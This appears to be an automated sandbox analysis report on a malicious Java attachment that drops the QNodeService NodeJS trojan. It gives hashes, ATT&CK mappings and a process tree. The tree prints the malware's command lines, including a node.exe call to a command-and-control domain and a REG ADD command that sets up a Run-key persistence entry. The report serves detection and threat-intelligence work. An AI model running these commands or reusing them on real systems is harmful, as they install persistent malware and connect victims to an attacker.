qnodeservice | d0276ecaa9b9c49b3b1d53d5a6fd47288a33e626d6255a476c624d86dccf2fad

General

Target

Remittance Advice from Prespa Consultancy Pty Ltd.jar
Size

76KB
MD5

00fbaeac41cb0a4dbc032fd8593e5ae7
SHA1

4749439b523248dabe38e0236fe4dcb77ae55c24
SHA256

d0276ecaa9b9c49b3b1d53d5a6fd47288a33e626d6255a476c624d86dccf2fad
SHA512

9e6fc3e8b5cf6a31b90c624d4c47240aed90e613c508640855585033a83ca3e8b4b5b67bc469a049652968da02fa5f7390f9c1f3e828dfc26c8ea7b5ee98fc89

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2896	node.exe
3228	node.exe
900	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\5ff9ec49-7764-45c2-9528-c05b5d236334 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001aba0-177.dat	js
behavioral2/files/0x000100000001aba0-180.dat	js
behavioral2/files/0x000100000001aba0-184.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2896	node.exe
2896	node.exe
2896	node.exe
2896	node.exe
3228	node.exe
3228	node.exe
3228	node.exe
3228	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 636 wrote to memory of 3644	636	java.exe	76
PID 636 wrote to memory of 3644	636	java.exe	76
PID 3644 wrote to memory of 2896	3644	javaw.exe	80
PID 3644 wrote to memory of 2896	3644	javaw.exe	80
PID 2896 wrote to memory of 3228	2896	node.exe	82
PID 2896 wrote to memory of 3228	2896	node.exe	82
PID 3228 wrote to memory of 900	3228	node.exe	83
PID 3228 wrote to memory of 900	3228	node.exe	83
PID 900 wrote to memory of 3868	900	node.exe	85
PID 900 wrote to memory of 3868	900	node.exe	85
PID 3868 wrote to memory of 3724	3868	cmd.exe	86
PID 3868 wrote to memory of 3724	3868	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Remittance Advice from Prespa Consultancy Pty Ltd.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:636
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\2693ee72.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain manhasnoplug.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2896
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_fpk140\boot.js --hub-domain manhasnoplug.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3228
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_fpk140\boot.js --hub-domain manhasnoplug.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:900
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "5ff9ec49-7764-45c2-9528-c05b5d236334" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3868
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "5ff9ec49-7764-45c2-9528-c05b5d236334" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/900-185-0x000002E364400000-0x000002E364401000-memory.dmp

Filesize
4KB

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memory/2896-178-0x0000036A78540000-0x0000036A78541000-memory.dmp

Filesize
4KB

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memory/3228-181-0x000001E05A140000-0x000001E05A141000-memory.dmp

Filesize
4KB

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